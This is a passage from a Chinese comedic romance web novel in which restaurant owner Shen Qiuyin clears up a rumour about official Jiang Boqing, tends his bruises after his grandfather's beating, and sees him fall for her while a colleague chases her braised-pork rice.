想她聪明反被聪明误,做出此等糊涂之事,简直无颜面见沈家的祖宗。
若是祖宗们得知此事,会不会在梦里将她下油锅呀。
系统见她又胡思乱想起来,连忙叫停:“您老人家可别想了!谨记一句话,人类一思考,老天就发笑!少动脑!”
众人此时也默了下来,而后问着身旁人:“姜大人刚刚说什么?”
“好像是他想买个香辣田螺,但沈掌柜莫名其妙哭了起来。”
“所以,他还是渣男不?”
“有待商榷。”
“那……岂不是,这错在沈掌柜了?”
“嗯……好像是!”
“啊这!”
众人的目光移到了她的身上,上上下下地打量似乎将她看穿了一般。
沈秋吟羞耻地捂着脸,不敢看他们。
不住的在心里嚎啕,上天呀!
如果我有罪,请让天来惩罚我,而不是我让我社死,让我愧疚。
她以后该怎么面对姜泊清?
他这会可真得将她抓牢里去了吧?
“沈掌柜,要不说两句?”有人道。
沈秋吟疯一般摇头,声带哑了,说不出来了。
众人还看着她,她想逃离这个是非之地,便她提着裙子,强装镇定,踩着小碎步点点往楼里走。
怎知刚走几步,姜泊清就叫住她:“沈掌柜,你快来解释解释呀!”
再不说清楚,他可真得被打死了。
他对着红肿的地方吹气。
痛呀!是真的痛呀!咱就说,就老爷子这手劲儿,再守个十年边关都没问题。放在这濮阳打孙子,实在可惜。赶明儿,他一定寻个理由,让皇上把他调走。可不能再留在这儿了。
不然他真没命活了。
她停下了脚步,一想到要亲手揭开那尴尬的场面,她仰着面对天,生无可恋道:“让我死!”
14. 虎狼之词
“什么?百膳楼的掌柜为爱求死!”那人掏了掏耳朵,蓦然说出了这一句。
这难道就是传说中的空耳?
“真的假的?”站在他身旁的人道。
“肯定是真的。好多人都听见了!你难道没听见吗?”
一群真没听见的人凑了过去,你一嘴我一最将刚才的事儿又说了一遍,那话语之生动,仿佛真的发生过一样。
就在他们身旁的沈秋吟听完了全部,嘴角直抽搐?不知是该笑,还是该哭。
这一下,她总算知道这流言是怎么起来的,就是这么起来的。
这群大哥人均耳背,人家姜泊清都说得那样清楚了,他们居然还以为她是为爱求死,要不要这么离谱呀。
姜雁停下了手上动作,姜泊清也悟了,他们的目光齐刷刷盯着那还传着谣言的人看。
那群人被盯得冒冷汗,心中生出了不祥的预感,其中一人颤巍巍说:“我们说得不对吗?你刚刚不是说,让你死吗?难道不是为爱殉情吗?”
沈秋吟被整笑了,忙道:“啊对对对!”
那人也嘻嘻笑。
却在下一秒,沈秋吟变了脸,吼道:“我对你个大头鬼!”
只见沈秋吟一把抓起门边的扫帚,以迅雷不及掩耳之势朝那人打去,那架势简直是母老虎降临,张开血盆大口要吃人。
那人被打了几下,捂着痛处慌忙逃窜,嘴里还说着:“错了,我错了。我下次一定认真听。”
沈秋吟打累了,停了下来。那人怕再待下去,小命不保,于是趁她顺气,苍茫逃走。
她握着扫帚站在大街中央,活像关公再临,众人生了怯意,不敢再看,纷纷散了去。
她顺过气后,在人群里不见那人,大声道:“好小子,算你跑得快!下次可别让我看见你,不然见你一次,打你一次。”
姜泊清咽了咽口水,抱着自己的手臂不经缩了缩,好姑娘,真彪悍!
百膳楼的小二们惊的呆在原地,不知谁手上的东西落了,发出“哐当”一声。
沈秋吟回头看到石化了的他们,忙扔了手中扫帚,淑女地笑了笑。
她平常还是很温柔的,这是个意外!
众人可不是这样想,他们只觉白骨精来了,会变脸,慌忙逃窜!生怕她那扔在地上的扫帚下一秒就落在身上。
这东西,打人可不是一般的疼。
甚至,更有人在心中想,掌柜的,你彪悍的人生,要不要这么虎呀!
沈秋吟见了他们的神情,无所谓的摊了摊手,好吧,从今以后,她再也不是淑女了。
从前的沈秋吟已经死了,她如今是钮祜禄·秋吟。
哈哈哈!
热闹散了,沈秋吟也不再站在街上,她将扫帚归回原位,走进楼里,朝着姜雁不好意思笑了笑,而后将故事的起因经过讲清楚。
“所以,泊清真的没有渣你,都是谣言?”姜雁还有些怀疑,他怕这姑娘真是个恋爱脑,被渣了还维护他这孙子。
沈秋吟郑重其事点点头,再三道:“姜大人没有渣我。外面传的,确实是谣言,您若不信,大可问我们楼里的小二,当时他们都在场。”
她相信楼里的小二离那么近,肯定不会空耳的。
下一秒,姜雁就抓了几个小二来问,可众人的说法却不一。
“咦,不是姜大人劈腿,掌柜的恋爱脑么?”
“什么?谁说的!明明是掌柜的不卖香辣田螺给姜大人,姜大人要抓她进牢里。”
“啊,可是……”
众人一阵推诿,反正最后结论是,有人真空耳听错了,这才把错误的故事传了出去。
沈秋吟的脸红了又白,白了又红。
难道这就是打脸的感觉?
她方才还笃定他们不会听错的……呜呜呜!
误会解开了,但一旁的姜泊清不乐意了,怒气腾腾地拍着桌子,怒目圆睁道:“可别让我抓到谁第一个空耳,不然非得关牢里饿上个三顿再说!”
沈秋吟干笑两声,做为事情的始作俑者,极有自知之明地悔过:“姜大人,我错了,我道歉,我不该多想,你原谅我,别抓我进牢。”
姜泊清一听“进牢”两字就头疼,委屈道:“你可别说了。”
要不是因为“进牢”二字,他何苦遭此一顿毒打呀!
错打了姜泊清的姜雁愧疚道:“泊清呀!爷爷错了,你别生气,好不好!爷爷就是着急,害怕你真的误了沈丫头终身!”
姜泊清冷哼一声,没说话。姜雁放下老脸,不停地说着好话。姜泊清被弄烦了,最终还是原谅他了。
子不记母之过,孙也不能记爷之过,这顿打,也只能算姜泊清运气不好了。
不过,从另一个层面讲,姜雁也是怕姜泊清真做了什么不好的事,落得骂名,所以还不如自己先教训一顿,别人说的时候也没有那么难听。
沈秋吟瞧着他那一身被得不成形的衣服,心中的愧意更深。
为了弥补姜泊清,她亲自下厨做了一大桌子好菜,饭桌上,不断得向他献殷勤以祈求他能消消气。
姜泊清看着自己碗中堆成小山般的食物,对沈秋吟道:“我没记仇,你别夹了,我真吃不完了。”
沈秋吟一看,哦莫,一桌的菜有大半都在他碗里,好像真吃不完也。
她收了筷子,“好好好,您吃,吃完我再夹。”
姜雁的目光在他们之间来回扫过,意有所思。
沈秋吟不给姜泊清夹菜了,转头看向姜雁问道:“姜爷爷,您来城里做什么?”
据她所知,姜雁不守边关后,就常年住在桃花村,很少回城。
总不会是谣言都传到了桃花村,老爷子特地赶来打人的吧。
自然不是这样。
姜雁道:“你上次不是说想要草药做药膳么,我那院子里长了新的,就特的给你背了来,怎知一进城就听到人说泊清渣了你,于是……”就有了后来的那一幕。
姜雁带着歉意看着姜泊清,姜泊清扭过头,不看他。
原谅是一会事,可气还没消呢!
姜雁讪讪地收回目光,和沈秋说:“沈丫头,来瞧瞧这草药,用来做药膳准好。”
沈秋
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吟起身,正要去看,蓦然想到了姜雁当时说,做她孙媳妇儿才给草药。
不会收了这草药就是他孙媳妇儿了吧!
嗯!这极有可能是老爷子的阴谋,不能上当,这草药,她也不能收。
她又坐了下去,死死挨着凳子,今儿个,谁也不能让她离开这凳子。
姜雁没等到沈秋吟来看,猜测她还在担心上次的事儿,忙说:“丫头放心,老爷子这次不拉郎配。”
这次不拉,不代表下次不拉。这次只是暂时性放过,他在心里嘿嘿地想。
他此话一出,一时尴尬。沈秋吟和姜泊清都红了脸。
这都是什么虎狼之词呀!
姜泊清咳了两声,试图掩饰尴尬,而后道:“吃菜吃菜,再不吃就凉了。”
沈秋吟附和道:“对对对,再不吃就凉了,凉了就不好吃了。”
姜雁的目光扫过他俩,翘起了嘴角,哟,这是害羞了哦!
一顿饭吃完,姜雁和姜泊清酒足饭饱,都打起了满意的饱嗝,伸了个懒腰后,起来收拾碗筷。
这可是大英雄和大理寺少卿,怎么能让他们动手呢!守在一旁的小二们十分有眼力见的抢过碗筷。
姜泊清道:“其实……”我来就好。
可不等他说完,小二们端起碗筷就走了。
他们不吃白食,不能收拾碗筷,那就收拾草药吧。毕竟,姜雁背了一大篓,弄起来也是麻烦,趁着现在人多,懂草药的人也在,不如就给它归类了。
沈秋吟不识草药,便只能在一旁端茶送水,看着姜雁和姜泊清弄。
他们弄到天色泛黄。
姜雁要走了,走前将沈秋吟拉到了一处僻静地方说:“沈丫头,我想在你这儿为我那孙子订一个月的餐,你也知道,刚才打了他,总要赔罪……,顺便也给他补补身子。”
他本想亲自下厨,做几道好吃的给姜泊清赔罪的。可一想到自己的厨艺,还有他那嫌弃劲儿,姜雁放弃了,还是选择订一个月百膳楼的饭菜给他吃。
“这是饭钱。”姜雁拿出几张银票给她。
沈秋吟不肯收,姜泊清挨打,说到底是她的错,若不是她想多了当街嚎啕,他也不会有此一难,这钱,她说什么也不收。
姜雁见她坚持,也就放弃了。
沈秋吟许诺道:“姜爷爷放心,这一个月,保证把姜大人养得白白胖胖。”
她一想到姜泊清白白胖胖的样儿,感觉有些滑稽,令她想笑,不过憋住了。
姜雁摸了摸胡须,笑道:“你的厨艺,我自然是不担心。”
就刚才那桌子菜,那叫一个美味,他现在都还在回味。若是,沈秋吟真是他孙媳妇就好了。
可惜呀,就是现在神女无情,襄王也无梦。两个人还不来电。不过,他相信,只要假以时日,他两一定能成,到时候,嘿嘿!
把自己想说的说完后,姜雁就背着背篓离开了。
他走后,姜泊清背着手,出现在在了她身后,声音有些许冷,他说:“我爷爷这个人有些不着调,他说的话,若有得罪之处,你不要放在心上。”
15. 不!是情动
沈秋吟笑了笑,摆着手说:“姜大人放心,我不会放在心上的。”
她这人有自知之明,姜泊清,搞刑事案件的,人也冷兮兮的,一看就不是她的菜。
“哪什么是你的菜?”系统忽然问。
沈秋吟摸着下巴思索,而后缓缓说:“身高八尺,墨发如瀑,眉目英气,最好是侧脸好看,这样子,只要他一低头,一回眸,都会美得像一幅画。”
她喜欢美男子,喜欢有气势的美男子,这种美,不是阴柔之美,而是阳刚的,带着活力与非同一般的气质之美。
她想得入迷,内心也止不住的咆哮,不停地喊着救命!如果真有这样的男子,那简直是秀色可餐,光看着就能饱。
系统嫌弃地“咦”了一声,叫道:“宿主,你快醒醒吧,长得帅的都是渣男!”
它系统生涯里虽然只绑定了她这一个宿主,但它听过其它的统的说过,一些人品不好的男人就仗着自己的好皮囊欺骗女人,等女人对他死心塌地后,就把人家抛弃,简直不是个人,连禽兽也不如。
沈秋吟点点头,觉得系统说得在理,“确实,好看的男人渣的可能更高。不过跟姐关系不太大,姐只爱钱,不爱男人。”
她沈秋吟无论在哪个世界,第一志愿就是赚钱,男人,只会影响她拔刀的速度。她要做的是事业的王者,感情,这玩意儿,她可不敢沾身。
千年前的先人都说——
士之耽兮,犹可说也。
女之耽兮,不可说也。
系统“哦”了一声,尾音拉得好长,像是颇有意味。
沈秋吟品出了不对劲儿,警惕道:“你不会儿又要搞事情吧?”
系统不正常,肯定要作妖!
她怕!
系统有些心虚,不过丝毫不慌,义正言辞说:“我们系统单纯善良,从不玩心眼!宿主,你放一百个心,我就是好奇,问问。”
“真的?”她总觉得没那么简单。
这两天,系统活跃得不像话!像憋着什么坏,等着大爆发。
宿主……挺聪明,可它才不会告诉她!
它怕她深究下去,赶忙岔开话题,“宿主,姜大人在跟你讲话,叫你好几声了,你再不回应,他就要当你是傻子了!”
你是傻子!你才是傻子!
系统说完,消失在她的脑海里。
嘿嘿,只要系统跑得快,宿主骂声就听不见!狗!就是狗!
姜泊清伸手在她眼前晃了晃,忧心地看着她:“你怎么了?”
他刚才见她一会儿傻笑,一会儿抹口水,跟着魔了一般。
她不会有什么隐疾吧?
沈秋吟回过神来,略微尴尬道:“没事,没事!”
光顾着跟系统说话,忘了这里还有个人。救命,这脸是丢不完了是吧!沈秋吟欲哭无泪。
姜泊清仔细看了看她,见她如常,真没什么事,这才放下心,而后道:“时间也不早了,我也告辞了,今日多谢款待。”
他敢说,今日吃的那一大桌子菜是他此生吃过的最满意的菜。
“姜大人言重了,”她愧疚道,“你这身伤也是因我所受,做一顿饭就让你道谢,更让我不好受了。”
“没事的。”他没将自己这一身伤怪在她身上。
“你的伤可还疼?”
姜泊清将自己乌青了的手往身后又藏了藏,摇摇头,“放心,我皮糙肉厚,这点小伤,不算什么。”
“真的吗?”那可不是小伤,那么粗的棍子,打在人身上,准得脱层皮。可惜姜泊清将伤藏得深,她没看见。
姜泊清点点头,“当真。”
“那便好。”可她心里的愧疚并没减少,还是十分抱歉。
“那我就告退了。”他向沈秋吟拱手道。
“我送姜大人。”
“好。”
沈秋吟同他一道往前堂走,他人高,腿长,步子大,走得快,沈秋吟有些跟不上他的步伐。姜泊清起初没发现,还是与她说话时,她的声音从后头传来,他才知道,他走得太快了,她赶不上。
姜泊清发现了,慢下了脚步,沈秋吟没注意,撞了上来。
男人的胸肌硬得跟石头一样,她呜咽一声,捂住了额头。
“没事吧?”
没事?怎么可能没事呀?疼死了。
只是碍于权势,她不敢说。大官,她惹不起。
她故作不疼摇摇头,还朝他竖起了大拇指,夸道:“姜大人,好腿力!”
说着,她目光还往他的腿瞟了一眼,嗯,这腿,是挺长的,难怪走这么快,她追都追不上。
姜泊清未言,静静地看着她,目光幽深,她被盯得发麻,想躲,这时他说:“我不抓你。”
他忽然伸手揉了揉她的额头,她一时没反应过来,呆呆地看着他,瞳孔里映满了他的样子。
“还疼吗?”
“不,不疼了。”她有些口齿不清道。
他说:“那就好。”
他收了手,她突然就反应了过来,脸霎时红的像春日里清甜的樱桃。
怎么就这样了呀?
她愣在原地想。
走在前头的姜泊清见她没跟上来,回头道:“不送我了?”
“啊?送的!”她忙跟上去。
她将他送到百膳楼前的大街上,人群来来往往中,他与她告了别,没入了人群中。但没走几步,却被人撞到在地上,沈秋吟心惊一下,忙走过去,将他扶起来,却发现他的手臂上是一条乌紫的伤痕。
“你……”
他赶忙将手藏在身后,“没事的。”
“这还叫没事吗?”沈秋吟眼眶发润,有点想哭,“我……对不起。”
她不该多想,不该拉住他在长街哭。
“我没事……”他瞧着她泛红的眼眶,连忙制止道,“你可千万别哭了。”
他怕等会儿又传出什么离谱的流言,他不想再挨打了。
“好好好!我不哭,”她把眼泪憋回去,拉住他的衣袖说,“你跟我回去,我给你上药。”
“不用了。”这点伤于他而言真不算什么,他在边关时,比这更严重的伤都受过,也算是见怪不怪了。
“不行,必须去。”她语气坚硬,不给他讨价还价的余地。
姜泊清因她而被打,受了这么严重的伤,不能这么就过去了,不然她心里难受。
“那……好吧!”他又跟她回到百膳楼。
她去房间拿药,他坐在长廊下等她。不一会儿,她就拿了药出来,蹲在她膝前,轻轻将他的衣袖挽起,心疼地看着他。
姜雁真是他亲爷爷吗?这下手也太重了吧,都快见血了。
她打开药瓶,对他说:“有些疼,我尽量轻些。”
“好。”
她小心翼翼地拿着药瓶往他的伤痕上到药,深色的药末接触皮肤的那刻,他吸了一口气。
真疼。
沈秋吟怕他疼得厉害,停了下来,“你先缓缓。”
姜泊清说:“别了。你继续上,不疼的。”
主要是,越缓越疼,还不如一次性痛完,来个痛快。
“真的?”
“嗯。”他点点头。
她又继续到药,他咬着牙忍着,不让自己发出一点声音。
沈秋吟绷着脸,不说话,也不笑,十分严肃,生怕弄疼了他。
姜泊清怕她有心理负担,故作轻松说:“这点伤没事的,我当初守边关的时候,受得伤比这更严重。”
那时候,强敌来犯,每每从战场下来,身上都不见一块完整的皮肤。
“你不是大理寺少卿吗?怎么还会去边关。”
他道:“是传承。我家祖上世守边关
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,所以凡姜家儿郎都要去边关历练一番。”
原是这样,她点点头,表示懂了,又问道:“边关是不是特别荒凉?”
她从前看书,作者都是用“荒凉”二字描写边关的。
他却道:“不荒。那里挺热闹的。因为是在边关,各民族的人混居,虽然习俗文化不同,但相处融洽,每每到了重要节日,他们都会穿着民族服饰,在月亮下,点着篝火,手拉着手,唱着歌,庆祝一番。”
沈秋吟幻想了一下他话里的场面,灯笼,人流,面具,歌唱,哇塞,说不定还会有一场不期而遇的相见。
她越想越离谱,系统忍不下去了:“宿主,你别异想天开了,还一见钟情,生死不离,跨越重重阻碍相爱,你以为是在写小虐文吗?”
“额……闭嘴吧你!”
“什么?”姜泊清问道。
沈秋吟一呆,哦豁,一不小心说出来了!都怪系统。
系统发出滋滋滋的电流音表达不满:“你自己的错,别什么都怪我!哼!本系统生气了,你哄不好了!”
沈秋吟不理它,装作啥也没有地笑了笑说:“没什么!自言自语,就觉得你说的有趣,想去看看。哈哈,等我赚够了钱,一定去看看。”
她打着哈哈,将这事圆过去,反正是一定以及肯定不能让别人发现系统的存在的。她可不想被当成怪物,然后五花大绑上烤火架,烧成灰烬。
姜泊清听了她的话,愣了一下,“你还没赚够钱吗?”
他回大理寺的时候可听说了,百膳楼一道小龙虾,引得一群公子哥疯狂砸钱,最少都是两百两起步。她居然还说自己没赚够钱,这是在自谦吗?
“当然没有呀!”沈秋吟回道。
百膳楼饭菜卖得便宜,多是十几文钱或者二十几文钱居多,她一天的利润也不过几十两银子,自然还没赚够。
当然,还有一点是谁也不会嫌钱多呀!
哈哈哈,她还想混个首富当当。
系统:“白日做梦,系统定不让你如愿。”
“滚!”
与此同时,姜泊清“嘶”了一声。
沈秋吟忙道:“是不是弄疼你了!”
怪她,怪她,光顾着回系统话,忘了眼前事,罪过,罪过。
“有点点。”他说。
其实不是很疼,可不知怎么的,他忽然就忍不住“嘶”了一声。
沈秋吟瞧他皱着眉头,很是难受的样子,忙哄道:“我给你吹吹,凉一下就没那么疼。”
她轻轻地抬起他的手,呼呼地吹气,他感觉伤痕处有些凉,真的没那么疼了。
他低头看着她,她的睫毛长长,随着她的眼睛眨动。她的眉,生得好,不描而黑,她的眼,也生得好,水灵灵的,让人忍不住陷进去。
长廊上的帘子忽然一前一后晃动起来,帘子上的银铃也响了起来。
银铃声清脆,时断时续,像在奏乐。
起风了。
姜泊清听着那银铃声,心却越发跳得快。脑海里忽然浮现出佛家的话——
风吹幡动,是幡动,是心动?
不,都不是,是情动。
姜泊清觉得自己身上变热了,像是有一堆火在他面前烤着,要把他烤熟了一样。
他这是怎么了?
沈秋吟发现他的手上出了一层薄薄地汗,抬头看他,却见他面红耳赤,忙问:“你怎么了?”
她忽然抬头,令他心生慌乱,不敢看她,忙侧过头,却见红霞满天,像一大块发着光的红糖,甜甜的,想让人咬上一口。
炽热的暖日已经收了光辉将要西沉,倒映在池面上,被泛着涟漪的水分割成好几块。
一派岁月静好的模样,让人有些生起不舍之心,想将这画面永远的留住。
姜泊清也不知道自己怎么,他想了想说:“应该,是病了。”
16. 卤肉饭
病了?
他脸色红润,气血充足,就像抹了胭脂一样,怎么会病了?难道是发烧了?
沈秋吟疑惑一声,伸手摸了摸他的额头。
是有点烫,但不是发烧的烫,到像是被碳烤了一般的烫。
她手掌微凉,放在他的额头上就像夏天进了水池,一下子一股奇异地的感觉透过他的额头,跑到了了他的心上,轻轻地拨动,痒痒的,令人难耐。
明明有风,送来了凉意,可姜泊清越发觉得热,心跳之快,仿佛要破开他胸膛跳出来。
他坐不下去了,拨开她的手,匆匆忙忙说:“我……我有事,先走了。”
他走得很快,仿佛落荒而逃,走时,还将她手上的药瓶打翻了,深色的粉末撒了一地。
这人怎么回事呀?奇奇怪怪的。
沈秋吟不明所以。
系统出声道:“他或许……”
“算了!不管他,累了!”
额……好吧,是宿主不让它把话说完的,以后可不能怪它。
沈秋吟将一地粉末收拾完,回了房间,扭头倒在了床上,很快进入了梦香。
而姜泊清却辗转反侧睡不着。
他只要一闭眼,沈秋吟的音容相貌就在脑海里一遍遍反复演绎,她低头的样子,她对着他的伤痕吹气的样子,还有她……他又生出了一股热意,那是一种羞涩,一种……仿佛是遇见喜欢的人,心灵被撩动的感觉。
这种感觉他并不讨厌,可让他睡不着觉,心里就很烦。
他呼了口气,起身推开了窗牗,凉凉地夜风袭来,吹得他面颊冷了下去,心中的烦意消了些许。可他还是会想起沈秋吟。
她为他上药的样子,她蹙着眉头的样子,她小心翼翼的样子……
姜泊清奇怪,他是中蛊了,还是中毒了?怎么今晚就一直想着沈秋吟。
他没了睡意,想着还有不少堆积的卷宗没处理,干脆换了衣服,去看卷宗,说不定还破获几项大案。
他出了院子,走进大理寺。
大理寺里还亮着光,都是他的同僚还在熬夜看卷宗。陈年旧案若不及时解决,会导致更多人遇害,所以大理寺人时常为了寻找蛛丝马迹,忙到很晚才归。
姜泊清去了自己的工位,刚翻开一篇卷宗,便见陆昭明进来了。
“你还没睡?”姜泊清问。
陆昭明打了个瞌睡,沉着声音说:“睡不着。你呢?”
姜泊清道:“我也是。”
陆昭明来了兴趣,走过去坐在他对面,“说说,什么事能扰得我们姜大人睡不着!不会是……”
姜泊清渣了沈秋吟的事儿,可是在濮阳传遍了,虽说误会解除了,但他们的关系还是耐人寻味。
再说,姜泊清一向洁身自好,与女子的距离恨不得隔着十万八千里,这头一次与女子传出绯闻,自然令人好奇。
他露出戏谑的笑容,姜泊清一看便知,是听了流言的人,他一口反驳道:“不是。”
陆昭明笑道:“我都没说是什么,你开始反驳。姜泊清呀,姜泊清,看来是真的了。我就说你今日怎么一听百膳楼沈秋吟扭头就走。原来如此!泊清,你这是动情了呀!”
动情?
姜泊清心尖一颤。
他想到了第一次见沈秋吟,她转过头,连风都在为她倾倒,吹着她如墨的发丝翻飞。
这是他见过最美的姑娘,就像古人画里描写的仙子,可他好像更心动的是她的有趣。
她说话有趣,做事也有趣,和寻常的姑娘有些不一样。
想到这里,姜泊清的脸又红了起来,像熟透了的鲜虾的颜色。
“哦……脸红了。被我说中了!”陆昭明笑了起来。
而后又说:“你别说,那沈掌柜不光生得美,做事也有趣。我审她的时候,愣了好大一会儿。头一次见变脸如此快的姑娘,一会儿一个样,跟演戏似的。”
“她……确实有趣。”姜泊清说。
“那你这是承认……”陆昭明挑着眉眼看他,一副八卦的样。
姜泊清冷着脸道:“我没有。”
“好好好!你没有。不过……”
姜泊清打断他的话,“你与其在这里跟我聊有的没的,还不如多看看卷宗,多查些案。”
“行!反正也睡不着,那就看看吧。”
两人这一看卷宗就看到公鸡打鸣,晨光熹微。
姜泊清越看越清醒,陆昭明越看越困,眼睛闭成了一条缝,一撑着头在案桌上睡。
姜泊清见他眼下乌青,好言道:“你快去睡吧,眼睛都闭成了一条缝了。”
听到他的声音,陆昭明清醒了一瞬,揉了揉眼道:“那可不行,我不能输给你。”
这是男人的恶趣味,看卷宗也能比上,反正就是不肯认输。
姜泊清无奈地摇了摇头,“那我去睡了。”
他虽然清醒,但还是要休息的,人又不是铁,休息不好,会降低办事效率。
陆昭明却拦住他,“除非你承认你熬夜的本领不如我,不然我不放你睡!”
姜泊清不想与他纠缠,忙道:“好好好!我不如你。”
陆昭明满意了,放他离开,而自己困得趴在桌子上就睡。
姜泊清回到房内,正脱了鞋上床,便听到一阵敲门声。
他起身,穿了鞋,打开门,只见一小厮拿着食盒说:“姜大人,这是百膳楼送来的。”
百膳楼?可他记得自己没有预定过百膳楼的吃食。
“你是不是送错人了?”姜泊清疑惑道。
小厮说:“没有呀!百膳楼的小二就是说给您的。这是他们掌柜亲手做的饭菜,让我务必交到你的手里。”
沈秋吟?
沈秋吟为什么会给他送饭。
莫非……
姜泊清笑了起来,接过饭盒,同小厮说:“麻烦了。”
“您客气了。”
姜泊清关了房门,打开食盒一看,只见圆圆的碗中盛着一大碗米饭,米饭被压得平整,上面放着卤肉、青豆、胡萝卜、青菜,将米饭分成了好几个部分。淡淡的清香,更令人神清气爽。
他看到碗旁边还放了一张纸条,打开一看,是隽秀的小楷,上面写着这菜冷了后的做法。
姜泊清看完,心头一暖,将那纸条妥帖收好,红
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了耳尖。
到了中午,日头正盛。阳光肆意闯进屋子,照得人头晕目眩。而陆昭明不是被这光照醒的,而是被一阵香味勾引醒的。
这香不是寻常香,是饭菜的清香。他闻到了卤味,闻到了米味,还闻到了好多好多味道。
陆昭明吸了吸鼻子,循着这香味走,来到了饭堂,却见众人围成了一个圆,中间站着的是姜泊清,他正站在蒸笼前,弄着什么。
他的目光落在姜泊清的手上,圆圆的碗里居然放着好些东西,这就是香味的来源。
好呀!姜泊清吃独食,有好吃的居然不叫他,过分!
陆昭明凑上去,厚颜无耻道:“姜大人,你这手上是什么呀?我闻着好香呢!”
姜泊清瞧着他眼冒金星的样,便知他心中所想,不着痕迹地将手中的碗藏了藏,“卤肉饭。”
“卤肉饭呀……”他拖长尾音,眼睛贼溜溜地转,想着法子要骗过来。
姜泊清将碗放在食盒里,陆昭明灵光一闪,“来来来,我帮姜大人拿。”
“不用了,我提得动。”姜泊清将食盒换到另一只手,避开陆昭明。
他心里面门清,陆昭明才不会好心帮他提东西,肯定是盘算着怎么抢过去,才不会让他如愿。
陆昭明见计划落空,又拦着他道:“姜大人怎么不在饭堂里用膳呀。这提回屋里吃,弄得到处都是味儿,很难收拾。不若在饭堂吃……”
嘿嘿,只要姜泊清在饭堂用膳,到时候人多势众,他总能吃上一口。
姜泊清冷笑道:“我掐指一算,菩萨告诉我今日不宜在饭堂用膳,不然必吃大亏。”
陆昭明听了这话,老脸一红,但奈何脸皮厚,瞧不出来,“哎哟,姜大人你这是说哪里的话哟。吃亏可是福气呢!”
姜泊清但笑不语。
他提着食盒回屋,陆昭明就一路跟着他回,打定了主意要蹭上一口。
可姜泊清偏不要他如愿,还是将那卤肉饭占为己有,一口也没让陆昭明尝。
陆昭明气呼呼道:“行行行!姜泊清,算你狠!不就是卤肉饭嘛,像谁买不到似的。”
他怒气冲冲出了姜泊清的院子,在濮阳城的食楼里一遍又一遍看,势要买到卤肉饭,杀杀姜泊清的威风。
可他将食楼都找遍了,还是没寻到与姜泊清手中一个味儿的卤肉饭,只能失望而归。并带着不甘心去饭堂打了两菜一汤。
都是饭菜,可他却一筷子也吃不下,一遍遍回味卤肉饭的香味。
难道,他此生就跟卤肉饭无缘了吗?
难道,他陆昭明就吃不到一碗卤肉饭吗?
就在他伤心欲绝时,却听有人道:“你们知道姜大人今日吃的饭是谁送的吗?”
“是谁?是谁?”
那人东张西望了一会儿,而后神神秘秘地说:“我听小厮说,是百膳楼送来的,沈掌柜亲手做的。”
“百膳楼,沈掌柜,那岂不是,昨日的事……”众人对视一笑,都露出懂得都懂的笑容。
听到这里,陆昭明眼睛也亮了,卤肉饭,原来是百膳楼的呀!
姜泊清呀,姜泊清,你小子完了!
17. 在下陆昭明
陆昭明为了报姜泊清“卤肉饭”这仇,碗筷一丢,出了大理寺,骑着马便往百膳楼去。
入了大堂,没见着传说中的沈掌柜,陆昭明便大声问道:“你们掌柜的在吗?”
姜泊清,你个小人,看我怎么在沈掌柜面前上你眼药,让你不给我饭吃,不给我饭吃!
陆昭明想得开心,只要一想到姜泊清最后求他的样子,顿时心花怒放,只觉神清气爽。
听了声音,一小二赶忙走了出来,笑着道:“掌柜的今日不在楼中,客官若有事,可以跟我说,我代为转达。”
不在!
这怎么行!这上眼药的事儿,必然要亲自上才有趣,代为转告,怎能表达出他心里的怒火!
“她去哪儿了?”陆昭明问道。
小二“嗯”了一声,吞吞吐吐说——
“在东风楼。”
只见这东风楼前被围得水泄不通,沈秋吟扛着大刀,踩在一凳子上,不停地抖动腿,嘴里还叼着一根草,十足二流子模样。很难让人将她与百膳楼里温婉动人的沈掌柜联系在一起。
章丘站在沈秋吟身后,端着手,抬着下巴,鼻孔对人道:“把你们掌柜的叫出来,我们老大要见他。”
东风楼的小二哪里见过这阵势,吓得双腿颤了颤,但好在腿还听使唤,忙不迭失跑到里间将自家老板叫出来。
不多时,只见一个魁梧的大汉走了出来,那满身的肌肉突出,连厚重的衣服也阻挡不住。沈秋吟在他面前,瞬间成为了一个小鸡崽。
沈秋吟见了他,踩在登上抖动的褪抖得更厉害了。
刚才是假抖,这次是真抖!
乖乖的,这人怕有一米八往上吧。这身高,这腱子肉,这架势……
有点虚!
“谁找我?”那大汉的眼睛在人群里望了望,凶神恶煞的表情像从地狱出来的魔鬼。
章丘吸了一口冷气,这,这,属实没想到对方是如此壮硕,这体格,打倒一头牛都不在话下,他们掌柜这小身板,在人家面前,简直是棵豆芽菜。
对比实在明显,或恐凶多吉少!
章丘看向沈秋吟,颤着声问:“掌柜的,咱们……怎么办?”
沈秋吟瘪着嘴,“还能怎么办……!”
她话还没说完,章丘便在沈秋吟耳旁小声地说:“要不咱们跑吧!”
跑!那多丢面子!
虽然沈秋吟也想跑。
但是,面子更重要!
沈秋吟站直了身子,挺起腰杆,看似镇定,实则慌得一批道:“输人不输阵,往死里干!”
她话音一落,百膳楼的小二往前站了一步,魁梧大汉的目光这才落在她身上,眼里充满不屑道:“你找我?”
他边说还边将一双手握得咔嚓咔嚓响,那声音,就像野狗在撕咬骨头,又好似在说,螳臂当车,不自量力!
沈秋吟感受到了自地狱而来的风在耳边呼啸,仿佛要将她吸进无边的黑暗里,她不禁后背发凉,但瞧着站在周边的小二如看神灵般看着她时,她顿时生了勇气,往前走了数十步,仰着头看他,“对!就是我找你!”
“找我什么事?”
大汉的声音粗犷,带着丝丝的怒气,沈秋吟沉着脸看着他,战火一触即发。
那阵仗,令众人后退三步,留足了位置令他们自由发挥。
就在他们以为双方该动手十,却见沈秋吟忽然谄媚地笑道:“哈哈哈,大爷,都是误会,都是误会,找错人了,我找错人了!”
面子虽然重要,但命更重要!
这大汉如此魁梧,打不过,肯定打不过,还是和气生财,走为上策。
突如其来的变化,令众人汗颜。
说好的输人不输阵呢?
就这?就这!还能不能让他们好好吃个瓜了!
沈秋吟带着百膳楼的小二们就要跑,那凶猛大汉却道:“站住!”
东风楼的小二们围了上来,个个手持棍棒,凶神恶煞。
大哥,不带这样玩的!
这种情况下,肯定是走不了了,沈秋吟一个转身,看向他!
箭在弦上,不得不发!
既然如此!那就干吧!
只见双方又对峙起来,众人又退了几步,却见拿着棍棒的小二们将棍棒扔在了一旁,竟然吵起了架来。
濮阳城里,天子脚下,聚众斗殴,那是不可能的,不过,吵架,还是行的。
便听一声声有辱斯文的话从那大汉的嘴里冒出,内容之污秽,简直让人瞠目结舌,想捂住耳朵,不再听下去。
实在想不到,这男人的嘴会如此厉害,简直比泼妇,还要泼妇。
